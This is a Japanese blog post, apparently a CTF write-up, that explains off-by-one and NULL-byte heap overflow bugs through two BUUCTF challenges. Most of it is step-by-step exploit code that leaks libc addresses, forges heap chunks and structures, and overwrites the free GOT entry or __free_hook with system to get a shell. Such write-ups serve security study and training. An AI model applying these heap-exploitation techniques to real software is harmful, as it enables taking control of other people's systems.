ヒープオーバーフローにおけるOff-by-One脆弱性の解析

Off-by-One脆弱性の概要

Off-by-oneは特殊なバッファオーバーフロー脆弱性で、プログラムがバッファに書き込む際に、確保されたサイズを1バイトだけ超過する状態を指します。この脆弱性を悪用すると、メモリ構造を改変し機密情報の漏洩や制御フローの乗っ取りが可能になります。

実例解析:BUUCTF課題1

脆弱性の特定

編集機能にoff-by-one脆弱性が存在し、隣接するチャンクのサイズフィールドを改変可能です。これによりヒープ構造の再配置が可能になります。

悪用手順

  1. 特定サイズのチャンクを2つ確保
  2. create_chunk(24, b'chunk0')
    create_chunk(24, b'chunk1')
  3. 最初のチャンクを編集しサイズフィールドを改変
  4. modify_chunk(0, b'/bin/sh\x00' + b'\x00'*16 + b'\x41')
  5. 改変されたチャンクを解放し異常なヒープ構造を作成
  6. release_chunk(1)
  7. 新規チャンクを確保しGOTエントリを上書き
  8. create_chunk(48, b'A'*8 + p64(0)*2 + p64(0x21) + p64(0x30) + p64(elf.got["free"]))
  9. libcアドレスをリークしsystem関数のアドレスを計算
  10. display_chunk(1)
    leaked_addr = u64(p.recv(6).ljust(8, b'\x00'))
    libc_base = leaked_addr - 0x844f0
    system_addr = libc_base + 0x45390
  11. GOTエントリを書き換えシェルを起動
  12. modify_chunk(1, p64(system_addr))
    release_chunk(0)

実例解析:BUUCTF課題2

脆弱性の特定

著者名更新機能にNULLバイトオーバーフローが存在し、書籍管理構造体のポインタを改変可能です。

悪用手順

  1. 著者名領域を埋めヒープアドレスをリーク
  2. set_author(b'a'*32)
    create_book(16, 272, b"book1", b"desc1")
    create_book(128, 256, b"book2", b"desc2")
  3. unsorted binからmain_arenaアドレスをリーク
  4. release_book(2)
    list_books()
    heap_base = u64(p.recv(6).ljust(8, b'\x00'))
  5. 偽造構造体を作成しポインタを書き換え
  6. fake_struct = b'X'*96 + p64(1) + p64(heap_base+0x30) + p64(heap_base+0x1e0) + p64(4095)
    update_description(1, fake_struct)
    set_author(b'a'*32)
  7. libcアドレスを計算しフックを書き換え
  8. list_books()
    main_arena = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))
    libc_base = main_arena - (libc.symbols["__malloc_hook"] + 0x10 + 0x58)
    system_addr = libc_base + libc.sym["system"]
    free_hook = libc_base + libc.sym["__free_hook"]
  9. 任意アドレス書き込みを実現しシェル起動
  10. create_book(128, 256, b"/bin/sh", b"/bin/sh")
    update_description(1, p64(free_hook))
    update_description(3, p64(system_addr))
    release_book(3)

タグ: ヒープオーバーフロー off-by-one 脆弱性解析 CTF pwn

7月14日 23:58 投稿